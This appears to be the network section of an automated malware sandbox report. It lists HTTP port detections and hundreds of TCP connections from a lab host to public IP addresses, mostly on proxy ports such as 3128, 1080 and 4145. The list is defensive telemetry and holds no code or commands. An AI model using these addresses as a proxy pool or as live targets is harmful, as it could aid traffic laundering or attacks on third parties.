Source: unknown	Network traffic detected: HTTP traffic on port 51663 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 51693 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 29380
Source: unknown	Network traffic detected: HTTP traffic on port 51797 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51635 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 1111
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 3125
Source: unknown	Network traffic detected: HTTP traffic on port 51855 -> 29129
Source: unknown	Network traffic detected: HTTP traffic on port 8585 -> 51685
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 14470
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51464
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51407
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51944 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51859 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51810 -> 44444
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 46047
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51715
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 34824
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51893 -> 2572
Source: unknown	Network traffic detected: HTTP traffic on port 51943 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 51951 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51505
Source: unknown	Network traffic detected: HTTP traffic on port 51959 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9191 -> 50887
Source: unknown	Network traffic detected: HTTP traffic on port 51229 -> 48298
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51540
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51430
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 52026 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51973 -> 10051
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51921 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 51714 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51965 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 52049 -> 21017
Source: unknown	Network traffic detected: HTTP traffic on port 52014 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 52121 -> 44719
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52045 -> 31034
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51663
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 43839
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51537
Source: unknown	Network traffic detected: HTTP traffic on port 52126 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 52074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 44827
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 4300
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 14738
Source: unknown	Network traffic detected: HTTP traffic on port 52095 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 31147
Source: unknown	Network traffic detected: HTTP traffic on port 51599 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 9994
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 51605
Source: unknown	Network traffic detected: HTTP traffic on port 52159 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 51943
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 35774
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 51951

Source: unknown

Network traffic detected: IP country count 30

Source: global traffic	TCP traffic: 192.168.2.11:49711 -> 72.167.222.113:48892
Source: global traffic	TCP traffic: 192.168.2.11:49712 -> 152.32.78.24:4145
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 103.26.108.118:84
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 92.204.134.38:9375
Source: global traffic	TCP traffic: 192.168.2.11:49713 -> 79.110.196.145:8081
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 160.248.80.91:587
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 154.72.90.74:8081
Source: global traffic	TCP traffic: 192.168.2.11:49720 -> 103.186.8.162:8080
Source: global traffic	TCP traffic: 192.168.2.11:49721 -> 45.11.95.165:5212
Source: global traffic	TCP traffic: 192.168.2.11:49722 -> 162.241.6.97:44607
Source: global traffic	TCP traffic: 192.168.2.11:49723 -> 91.187.55.39:5678
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 45.77.111.135:15082
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 201.20.67.70:8080
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 103.169.130.46:8080
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 103.141.66.78:8080
Source: global traffic	TCP traffic: 192.168.2.11:49729 -> 47.91.110.154:1080
Source: global traffic	TCP traffic: 192.168.2.11:49730 -> 162.241.70.64:49478
Source: global traffic	TCP traffic: 192.168.2.11:49731 -> 207.180.234.220:37736
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 203.161.32.242:50640
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 20.219.180.149:3129
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 85.120.30.66:33590
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 14.103.24.148:8000
Source: global traffic	TCP traffic: 192.168.2.11:49737 -> 117.70.49.235:8089
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 142.54.237.34:4145
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 3.24.58.156:3128
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 43.133.136.208:8800
Source: global traffic	TCP traffic: 192.168.2.11:49743 -> 200.174.198.95:8888
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 45.56.220.210:59920
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 103.226.232.188:3125
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 116.97.240.147:4995
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 143.255.140.28:5678
Source: global traffic	TCP traffic: 192.168.2.11:49749 -> 113.53.3.242:8081
Source: global traffic	TCP traffic: 192.168.2.11:49750 -> 103.167.68.255:8080
Source: global traffic	TCP traffic: 192.168.2.11:49751 -> 122.152.53.25:5678
Source: global traffic	TCP traffic: 192.168.2.11:49752 -> 51.222.241.157:40351
Source: global traffic	TCP traffic: 192.168.2.11:49753 -> 72.10.160.90:30951
Source: global traffic	TCP traffic: 192.168.2.11:49754 -> 8.209.255.13:3128
Source: global traffic	TCP traffic: 192.168.2.11:49755 -> 162.214.90.49:58740
Source: global traffic	TCP traffic: 192.168.2.11:49756 -> 194.4.50.91:12334
Source: global traffic	TCP traffic: 192.168.2.11:49757 -> 103.199.155.18:6969
Source: global traffic	TCP traffic: 192.168.2.11:49759 -> 208.109.14.49:22881
Source: global traffic	TCP traffic: 192.168.2.11:49760 -> 91.213.119.246:31551
Source: global traffic	TCP traffic: 192.168.2.11:49761 -> 20.24.43.214:8123
Source: global traffic	TCP traffic: 192.168.2.11:49762 -> 178.212.51.79:5678
Source: global traffic	TCP traffic: 192.168.2.11:49763 -> 103.127.106.249:8090
Source: global traffic	TCP traffic: 192.168.2.11:49764 -> 185.108.141.19:8080
Source: global traffic	TCP traffic: 192.168.2.11:49765 -> 138.36.150.16:1080
Source: global traffic	TCP traffic: 192.168.2.11:49768 -> 67.43.228.252:4495
Source: global traffic	TCP traffic: 192.168.2.11:49769 -> 92.205.61.38:24183
Source: global traffic	TCP traffic: 192.168.2.11:49770 -> 162.243.102.207:9764
Source: global traffic	TCP traffic: 192.168.2.11:49772 -> 46.245.77.52:3128
Source: global traffic	TCP traffic: 192.168.2.11:49773 -> 45.229.10.98:8402
Source: global traffic	TCP traffic: 192.168.2.11:49774 -> 43.155.165.196:15673
Source: global traffic	TCP traffic: 192.168.2.11:49776 -> 20.37.207.8:8080
Source: global traffic	TCP traffic: 192.168.2.11:49777 -> 67.43.228.254:28971
Source: global traffic	TCP traffic: 192.168.2.11:49778 -> 162.241.50.179:37876
Source: global traffic	TCP traffic: 192.168.2.11:49780 -> 131.100.48.75:999
Source: global traffic	TCP traffic: 192.168.2.11:49781 -> 149.126.101.162:8080
Source: global traffic	TCP traffic: 192.168.2.11:49782 -> 51.81.89.146:50605
Source: global traffic	TCP traffic: 192.168.2.11:49783 -> 212.231.197.29:4145
Source: global traffic	TCP traffic: 192.168.2.11:49784 -> 42.200.196.208:8080
Source: global traffic	TCP traffic: 192.168.2.11:49786 -> 67.43.228.253:31033
Source: global traffic	TCP traffic: 192.168.2.11:49789 -> 186.248.87.172:5678
Source: global traffic	TCP traffic: 192.168.2.11:49790 -> 103.114.53.2:8080
Source: global traffic	TCP traffic: 192.168.2.11:49791 -> 64.227.108.25:31908
Source: global traffic	TCP traffic: 192.168.2.11:49792 -> 45.178.133.60:999
Source: global traffic	TCP traffic: 192.168.2.11:49794 -> 200.106.184.97:999
Source: global traffic	TCP traffic: 192.168.2.11:49795 -> 201.71.3.60:999
Source: global traffic	TCP traffic: 192.168.2.11:49796 -> 200.25.254.193:54240
Source: global traffic	TCP traffic: 192.168.2.11:49798 -> 114.231.45.101:8089
Source: global traffic	TCP traffic: 192.168.2.11:49800 -> 115.248.66.131:3129
Source: global traffic	TCP traffic: 192.168.2.11:49802 -> 171.244.140.160:37400
Source: global traffic	TCP traffic: 192.168.2.11:49803 -> 193.239.56.84:8081
Source: global traffic	TCP traffic: 192.168.2.11:49804 -> 14.207.41.71:8080
Source: global traffic	TCP traffic: 192.168.2.11:49805 -> 196.202.40.17:3128
Source: global traffic	TCP traffic: 192.168.2.11:49806 -> 185.82.87.30:1080
Source: global traffic	TCP traffic: 192.168.2.11:49807 -> 157.100.63.69:999
Source: global traffic	TCP traffic: 192.168.2.11:49808 -> 184.181.217.194:4145
Source: global traffic	TCP traffic: 192.168.2.11:49809 -> 188.124.15.13:3629
Source: global traffic	TCP traffic: 192.168.2.11:49811 -> 103.8.164.16:1111
Source: global traffic	TCP traffic: 192.168.2.11:49812 -> 193.106.57.96:5678
Source: global traffic	TCP traffic: 192.168.2.11:49814 -> 103.190.54.141:8080
Source: global traffic	TCP traffic: 192.168.2.11:49816 -> 115.127.112.74:8090
Source: global traffic	TCP traffic: 192.168.2.11:49817 -> 72.10.160.171:26315
Source: global traffic	TCP traffic: 192.168.2.11:49818 -> 193.239.86.249:3128
Source: global traffic	TCP traffic: 192.168.2.11:49819 -> 5.180.19.140:1080
Source: global traffic	TCP traffic: 192.168.2.11:49820 -> 45.181.123.145:999
Source: global traffic	TCP traffic: 192.168.2.11:49822 -> 193.34.21.200:8080
Source: global traffic	TCP traffic: 192.168.2.11:49823 -> 147.75.92.251:9401
Source: global traffic	TCP traffic: 192.168.2.11:49824 -> 15.236.106.236:3128
Source: global traffic	TCP traffic: 192.168.2.11:49825 -> 45.228.147.209:5678
Source: global traffic	TCP traffic: 192.168.2.11:49826 -> 93.171.243.253:1080
Source: global traffic	TCP traffic: 192.168.2.11:49827 -> 67.43.227.228:9039
Source: global traffic	TCP traffic: 192.168.2.11:49828 -> 123.108.98.108:5678
Source: global traffic	TCP traffic: 192.168.2.11:49829 -> 163.172.147.9:16379
Source: global traffic	TCP traffic: 192.168.2.11:49830 -> 220.248.70.237:9002
Source: global traffic	TCP traffic: 192.168.2.11:49831 -> 58.234.116.197:8197
Source: global traffic	TCP traffic: 192.168.2.11:49833 -> 92.204.135.37:55019
Source: global traffic	TCP traffic: 192.168.2.11:49835 -> 20.204.212.76:3129
Source: global traffic	TCP traffic: 192.168.2.11:49836 -> 155.50.241.99:3128
Source: global traffic	TCP traffic: 192.168.2.11:49838 -> 5.252.23.220:1080
Source: global traffic	TCP traffic: 192.168.2.11:49839 -> 160.19.169.208:8080
Source: global traffic	TCP traffic: 192.168.2.11:49840 -> 132.148.129.254:60781
Source: global traffic	TCP traffic: 192.168.2.11:49842 -> 123.182.58.221:8089
Source: global traffic	TCP traffic: 192.168.2.11:49843 -> 178.158.197.147:3629
Source: global traffic	TCP traffic: 192.168.2.11:49844 -> 178.128.207.96:18877
Source: global traffic	TCP traffic: 192.168.2.11:49845 -> 181.65.169.37:999
Source: global traffic	TCP traffic: 192.168.2.11:49846 -> 85.117.60.162:8080
Source: global traffic	TCP traffic: 192.168.2.11:49847 -> 5.44.42.115:58386
Source: global traffic	TCP traffic: 192.168.2.11:49848 -> 1.194.236.229:5005
Source: global traffic	TCP traffic: 192.168.2.11:49849 -> 98.162.25.29:31679
Source: global traffic	TCP traffic: 192.168.2.11:49850 -> 186.251.255.73:31337
Source: global traffic	TCP traffic: 192.168.2.11:49851 -> 190.2.104.201:4153
Source: global traffic	TCP traffic: 192.168.2.11:49852 -> 174.64.199.82:4145
Source: global traffic	TCP traffic: 192.168.2.11:49854 -> 181.212.45.228:8080
Source: global traffic	TCP traffic: 192.168.2.11:49855 -> 51.75.126.150:36694
Source: global traffic	TCP traffic: 192.168.2.11:49856 -> 176.88.166.218:8080
Source: global traffic	TCP traffic: 192.168.2.11:49857 -> 103.168.164.94:83
Source: global traffic	TCP traffic: 192.168.2.11:49858 -> 184.170.249.65:4145
Source: global traffic	TCP traffic: 192.168.2.11:49859 -> 179.1.192.27:999
Source: global traffic	TCP traffic: 192.168.2.11:49860 -> 51.81.186.179:51405
Source: global traffic	TCP traffic: 192.168.2.11:49861 -> 92.205.110.118:15430
Source: global traffic	TCP traffic: 192.168.2.11:49863 -> 161.97.163.52:64120
Source: global traffic	TCP traffic: 192.168.2.11:49864 -> 105.174.40.54:8080
Source: global traffic	TCP traffic: 192.168.2.11:49865 -> 45.190.78.50:999
Source: global traffic	TCP traffic: 192.168.2.11:49867 -> 212.108.145.195:9090
Source: global traffic	TCP traffic: 192.168.2.11:49866 -> 168.228.36.22:27234
Source: global traffic	TCP traffic: 192.168.2.11:49869 -> 88.202.230.103:17045
Source: global traffic	TCP traffic: 192.168.2.11:49870 -> 103.78.96.146:8181
Source: global traffic	TCP traffic: 192.168.2.11:49872 -> 87.76.1.251:8080
Source: global traffic	TCP traffic: 192.168.2.11:49873 -> 193.143.1.201:4444
Source: global traffic	TCP traffic: 192.168.2.11:49874 -> 34.85.177.170:3128
Source: global traffic	TCP traffic: 192.168.2.11:49875 -> 103.234.26.163:9990
Source: global traffic	TCP traffic: 192.168.2.11:49876 -> 1.15.62.12:5678
Source: global traffic	TCP traffic: 192.168.2.11:49877 -> 160.16.90.35:3128
Source: global traffic	TCP traffic: 192.168.2.11:49880 -> 18.134.236.231:3128
Source: global traffic	TCP traffic: 192.168.2.11:49881 -> 176.119.227.65:5678
Source: global traffic	TCP traffic: 192.168.2.11:49882 -> 123.30.154.171:7777
Source: global traffic	TCP traffic: 192.168.2.11:49883 -> 41.217.220.214:32650
Source: global traffic	TCP traffic: 192.168.2.11:49884 -> 178.128.156.219:8000
Source: global traffic	TCP traffic: 192.168.2.11:49885 -> 184.178.172.14:4145
Source: global traffic	TCP traffic: 192.168.2.11:49886 -> 89.187.216.58:1080
Source: global traffic	TCP traffic: 192.168.2.11:49887 -> 51.15.254.129:16379
Source: global traffic	TCP traffic: 192.168.2.11:49888 -> 186.251.255.105:31337
Source: global traffic	TCP traffic: 192.168.2.11:49890 -> 103.147.247.79:8080
Source: global traffic	TCP traffic: 192.168.2.11:49891 -> 94.131.106.196:3128
Source: global traffic	TCP traffic: 192.168.2.11:49894 -> 162.241.46.69:53783
Source: global traffic	TCP traffic: 192.168.2.11:49895 -> 95.47.149.8:8080
Source: global traffic	TCP traffic: 192.168.2.11:49896 -> 173.212.250.16:64768
Source: global traffic	TCP traffic: 192.168.2.11:49897 -> 166.62.121.127:45248
Source: global traffic	TCP traffic: 192.168.2.11:49898 -> 162.214.225.223:49806
Source: global traffic	TCP traffic: 192.168.2.11:49899 -> 173.224.20.136:5678
Source: global traffic	TCP traffic: 192.168.2.11:49900 -> 119.28.60.64:8090
Source: global traffic	TCP traffic: 192.168.2.11:49901 -> 103.153.232.41:8080
Source: global traffic	TCP traffic: 192.168.2.11:49902 -> 202.165.47.90:55443
Source: global traffic	TCP traffic: 192.168.2.11:49903 -> 103.169.254.186:8061
Source: global traffic	TCP traffic: 192.168.2.11:49904 -> 50.233.111.162:32100
Source: global traffic	TCP traffic: 192.168.2.11:49905 -> 65.109.152.88:8888
Source: global traffic	TCP traffic: 192.168.2.11:49906 -> 88.211.85.169:42931
Source: global traffic	TCP traffic: 192.168.2.11:49907 -> 104.238.111.107:5484
Source: global traffic	TCP traffic: 192.168.2.11:49909 -> 45.90.104.150:9090
Source: global traffic	TCP traffic: 192.168.2.11:49908 -> 103.112.128.37:9091
Source: global traffic	TCP traffic: 192.168.2.11:49910 -> 194.182.187.78:3128
Source: global traffic	TCP traffic: 192.168.2.11:49914 -> 46.0.203.186:8080
Source: global traffic	TCP traffic: 192.168.2.11:49915 -> 72.10.160.92:5775
Source: global traffic	TCP traffic: 192.168.2.11:49917 -> 41.33.203.115:1974
Source: global traffic	TCP traffic: 192.168.2.11:49918 -> 5.252.23.249:3128
Source: global traffic	TCP traffic: 192.168.2.11:49920 -> 37.187.77.58:10710
Source: global traffic	TCP traffic: 192.168.2.11:49923 -> 178.158.166.161:3128
Source: global traffic	TCP traffic: 192.168.2.11:49924 -> 92.247.12.136:9510
Source: global traffic	TCP traffic: 192.168.2.11:49927 -> 181.78.13.91:5678
Source: global traffic	TCP traffic: 192.168.2.11:49928 -> 57.128.163.242:8080
Source: global traffic	TCP traffic: 192.168.2.11:49929 -> 162.214.197.102:58740
Source: global traffic	TCP traffic: 192.168.2.11:49930 -> 211.222.252.187:8193
Source: global traffic	TCP traffic: 192.168.2.11:49932 -> 47.254.90.125:8888
Source: global traffic	TCP traffic: 192.168.2.11:49934 -> 43.131.245.216:15673
Source: global traffic	TCP traffic: 192.168.2.11:49936 -> 176.213.141.107:8080
Source: global traffic	TCP traffic: 192.168.2.11:49937 -> 148.72.209.174:12446
Source: global traffic	TCP traffic: 192.168.2.11:49938 -> 8.142.132.204:18080
Source: global traffic	TCP traffic: 192.168.2.11:49939 -> 94.124.16.218:8901
Source: global traffic	TCP traffic: 192.168.2.11:49940 -> 103.115.242.192:8080
Source: global traffic	TCP traffic: 192.168.2.11:49942 -> 41.65.236.56:1981
Source: global traffic	TCP traffic: 192.168.2.11:49944 -> 38.253.232.2:8080
Source: global traffic	TCP traffic: 192.168.2.11:49946 -> 36.90.61.224:4145
Source: global traffic	TCP traffic: 192.168.2.11:49948 -> 190.113.40.202:999
Source: global traffic	TCP traffic: 192.168.2.11:49949 -> 72.10.164.178:18067
Source: global traffic	TCP traffic: 192.168.2.11:49951 -> 103.234.27.153:1080
Source: global traffic	TCP traffic: 192.168.2.11:49952 -> 103.76.253.66:3129
Source: global traffic	TCP traffic: 192.168.2.11:49953 -> 38.156.73.54:8080
Source: global traffic	TCP traffic: 192.168.2.11:49955 -> 137.59.48.20:8080
Source: global traffic	TCP traffic: 192.168.2.11:49956 -> 178.245.145.234:3128
Source: global traffic	TCP traffic: 192.168.2.11:49958 -> 162.215.219.157:48117
Source: global traffic	TCP traffic: 192.168.2.11:49959 -> 170.239.205.1:999
Source: global traffic	TCP traffic: 192.168.2.11:49960 -> 51.89.173.40:55198
Source: global traffic	TCP traffic: 192.168.2.11:49965 -> 36.255.104.1:13623
Source: global traffic	TCP traffic: 192.168.2.11:49964 -> 67.43.236.18:17145
Source: global traffic	TCP traffic: 192.168.2.11:49966 -> 41.128.148.76:1976
Source: global traffic	TCP traffic: 192.168.2.11:49967 -> 35.237.210.215:3128
Source: global traffic	TCP traffic: 192.168.2.11:49968 -> 51.15.242.202:8888
Source: global traffic	TCP traffic: 192.168.2.11:49969 -> 195.154.172.161:3128
Source: global traffic	TCP traffic: 192.168.2.11:49970 -> 159.223.71.71:59243
Source: global traffic	TCP traffic: 192.168.2.11:49972 -> 38.156.72.135:8888
Source: global traffic	TCP traffic: 192.168.2.11:49973 -> 142.54.229.249:4145
Source: global traffic	TCP traffic: 192.168.2.11:49975 -> 85.94.24.29:1488
Source: global traffic	TCP traffic: 192.168.2.11:49978 -> 92.118.132.125:8080
Source: global traffic	TCP traffic: 192.168.2.11:49979 -> 107.180.88.173:59820
Source: global traffic	TCP traffic: 192.168.2.11:49981 -> 132.148.245.169:38117
Source: global traffic	TCP traffic: 192.168.2.11:49982 -> 67.43.227.226:25639
Source: global traffic	TCP traffic: 192.168.2.11:49983 -> 182.140.244.163:8118
Source: global traffic	TCP traffic: 192.168.2.11:49984 -> 202.142.167.210:1080
Source: global traffic	TCP traffic: 192.168.2.11:49985 -> 103.212.93.241:45639
Source: global traffic	TCP traffic: 192.168.2.11:49986 -> 163.172.171.22:16379
Source: global traffic	TCP traffic: 192.168.2.11:49987 -> 190.97.238.89:999
Source: global traffic	TCP traffic: 192.168.2.11:49989 -> 103.176.116.171:32650
Source: global traffic	TCP traffic: 192.168.2.11:49990 -> 125.99.106.250:3128
Source: global traffic	TCP traffic: 192.168.2.11:49991 -> 103.130.112.253:5678
Source: global traffic	TCP traffic: 192.168.2.11:49992 -> 178.236.122.164:5678
Source: global traffic	TCP traffic: 192.168.2.11:49993 -> 167.172.109.12:37355
Source: global traffic	TCP traffic: 192.168.2.11:49994 -> 147.75.34.86:10003
Source: global traffic	TCP traffic: 192.168.2.11:49995 -> 148.72.23.56:60069
Source: global traffic	TCP traffic: 192.168.2.11:49996 -> 120.37.121.209:9091
Source: global traffic	TCP traffic: 192.168.2.11:49998 -> 185.200.37.245:8080
Source: global traffic	TCP traffic: 192.168.2.11:50000 -> 163.172.165.36:16379
Source: global traffic	TCP traffic: 192.168.2.11:50001 -> 66.29.128.246:34350
Source: global traffic	TCP traffic: 192.168.2.11:50004 -> 51.178.43.147:3128
Source: global traffic	TCP traffic: 192.168.2.11:50005 -> 191.103.219.225:48612
Source: global traffic	TCP traffic: 192.168.2.11:50007 -> 107.180.88.41:24834
Source: global traffic	TCP traffic: 192.168.2.11:50008 -> 110.74.195.2:4153
Source: global traffic	TCP traffic: 192.168.2.11:50011 -> 178.128.148.69:3128
Source: global traffic	TCP traffic: 192.168.2.11:50013 -> 131.0.87.225:52017
Source: global traffic	TCP traffic: 192.168.2.11:50014 -> 95.164.89.123:8888
Source: global traffic	TCP traffic: 192.168.2.11:50015 -> 72.10.160.170:5385
Source: global traffic	TCP traffic: 192.168.2.11:50018 -> 139.255.132.68:1080
Source: global traffic	TCP traffic: 192.168.2.11:50019 -> 67.43.236.20:31295
Source: global traffic	TCP traffic: 192.168.2.11:50020 -> 59.92.70.176:3127
Source: global traffic	TCP traffic: 192.168.2.11:50022 -> 158.247.207.153:3030
Source: global traffic	TCP traffic: 192.168.2.11:50026 -> 111.8.155.54:7777
Source: global traffic	TCP traffic: 192.168.2.11:50027 -> 179.43.8.16:8088
Source: global traffic	TCP traffic: 192.168.2.11:50029 -> 164.92.86.113:57391
Source: global traffic	TCP traffic: 192.168.2.11:50028 -> 51.158.64.130:16379
Source: global traffic	TCP traffic: 192.168.2.11:50030 -> 200.52.148.10:999
Source: global traffic	TCP traffic: 192.168.2.11:50031 -> 195.154.43.184:19058
Source: global traffic	TCP traffic: 192.168.2.11:50032 -> 207.180.198.241:42581
Source: global traffic	TCP traffic: 192.168.2.11:50033 -> 67.43.228.251:26087
Source: global traffic	TCP traffic: 192.168.2.11:50034 -> 103.231.248.98:3128
Source: global traffic	TCP traffic: 192.168.2.11:50035 -> 103.159.46.2:83
Source: global traffic	TCP traffic: 192.168.2.11:50036 -> 62.171.131.101:25847
Source: global traffic	TCP traffic: 192.168.2.11:50037 -> 147.124.212.31:11070
Source: global traffic	TCP traffic: 192.168.2.11:50040 -> 111.225.152.42:8089
Source: global traffic	TCP traffic: 192.168.2.11:50039 -> 137.184.200.42:8000
Source: global traffic	TCP traffic: 192.168.2.11:50041 -> 51.15.142.4:16379
Source: global traffic	TCP traffic: 192.168.2.11:50043 -> 162.144.121.232:27262
Source: global traffic	TCP traffic: 192.168.2.11:50045 -> 113.100.209.184:3128
Source: global traffic	TCP traffic: 192.168.2.11:50046 -> 103.83.105.167:4153
Source: global traffic	TCP traffic: 192.168.2.11:50049 -> 167.249.29.218:999
Source: global traffic	TCP traffic: 192.168.2.11:50050 -> 167.86.102.169:16823
Source: global traffic	TCP traffic: 192.168.2.11:50051 -> 20.219.177.85:3129
Source: global traffic	TCP traffic: 192.168.2.11:50052 -> 14.103.24.20:8000
Source: global traffic	TCP traffic: 192.168.2.11:50053 -> 202.166.219.80:4153
Source: global traffic	TCP traffic: 192.168.2.11:50054 -> 81.19.3.249:10080
Source: global traffic	TCP traffic: 192.168.2.11:50055 -> 45.11.95.166:6014
Source: global traffic	TCP traffic: 192.168.2.11:50056 -> 103.77.50.168:8080
Source: global traffic	TCP traffic: 192.168.2.11:50057 -> 58.84.32.118:5678
Source: global traffic	TCP traffic: 192.168.2.11:50058 -> 74.62.179.122:8080
Source: global traffic	TCP traffic: 192.168.2.11:50059 -> 202.165.47.49:5678
Source: global traffic	TCP traffic: 192.168.2.11:50060 -> 174.64.199.79:4145
Source: global traffic	TCP traffic: 192.168.2.11:50061 -> 103.83.178.205:2016
Source: global traffic	TCP traffic: 192.168.2.11:50062 -> 162.214.191.209:58275
Source: global traffic	TCP traffic: 192.168.2.11:50064 -> 202.179.184.44:5430
Source: global traffic	TCP traffic: 192.168.2.11:50066 -> 94.186.234.236:8080
Source: global traffic	TCP traffic: 192.168.2.11:50068 -> 223.25.98.82:5678
Source: global traffic	TCP traffic: 192.168.2.11:50067 -> 201.170.180.188:8080
Source: global traffic	TCP traffic: 192.168.2.11:50069 -> 119.81.71.27:8123
Source: global traffic	TCP traffic: 192.168.2.11:50072 -> 86.110.189.118:42539
Source: global traffic	TCP traffic: 192.168.2.11:50071 -> 58.69.201.117:8082
Source: global traffic	TCP traffic: 192.168.2.11:50073 -> 49.228.131.169:5000
Source: global traffic	TCP traffic: 192.168.2.11:50074 -> 77.242.24.241:8089
Source: global traffic	TCP traffic: 192.168.2.11:50075 -> 122.52.196.36:8080
Source: global traffic	TCP traffic: 192.168.2.11:50077 -> 93.42.151.10:8080
Source: global traffic	TCP traffic: 192.168.2.11:50078 -> 202.6.224.52:1080
Source: global traffic	TCP traffic: 192.168.2.11:50079 -> 87.255.200.108:60080
Source: global traffic	TCP traffic: 192.168.2.11:50081 -> 98.64.169.17:8080
Source: global traffic	TCP traffic: 192.168.2.11:50080 -> 93.171.220.229:8888
Source: global traffic	TCP traffic: 192.168.2.11:50082 -> 197.211.244.135:5678
Source: global traffic	TCP traffic: 192.168.2.11:50085 -> 111.59.4.88:9002
Source: global traffic	TCP traffic: 192.168.2.11:50086 -> 148.66.130.53:56350
Source: global traffic	TCP traffic: 192.168.2.11:50087 -> 103.81.115.210:8080
Source: global traffic	TCP traffic: 192.168.2.11:50089 -> 186.24.9.114:999
Source: global traffic	TCP traffic: 192.168.2.11:50091 -> 218.6.120.111:7777
Source: global traffic	TCP traffic: 192.168.2.11:50093 -> 117.202.20.69:1088
Source: global traffic	TCP traffic: 192.168.2.11:50094 -> 203.160.57.87:5678
Source: global traffic	TCP traffic: 192.168.2.11:50095 -> 51.77.65.164:31979
Source: global traffic	TCP traffic: 192.168.2.11:50096 -> 51.158.108.134:16379
Source: global traffic	TCP traffic: 192.168.2.11:50099 -> 67.213.212.50:40080
Source: global traffic	TCP traffic: 192.168.2.11:50100 -> 23.225.72.122:3500
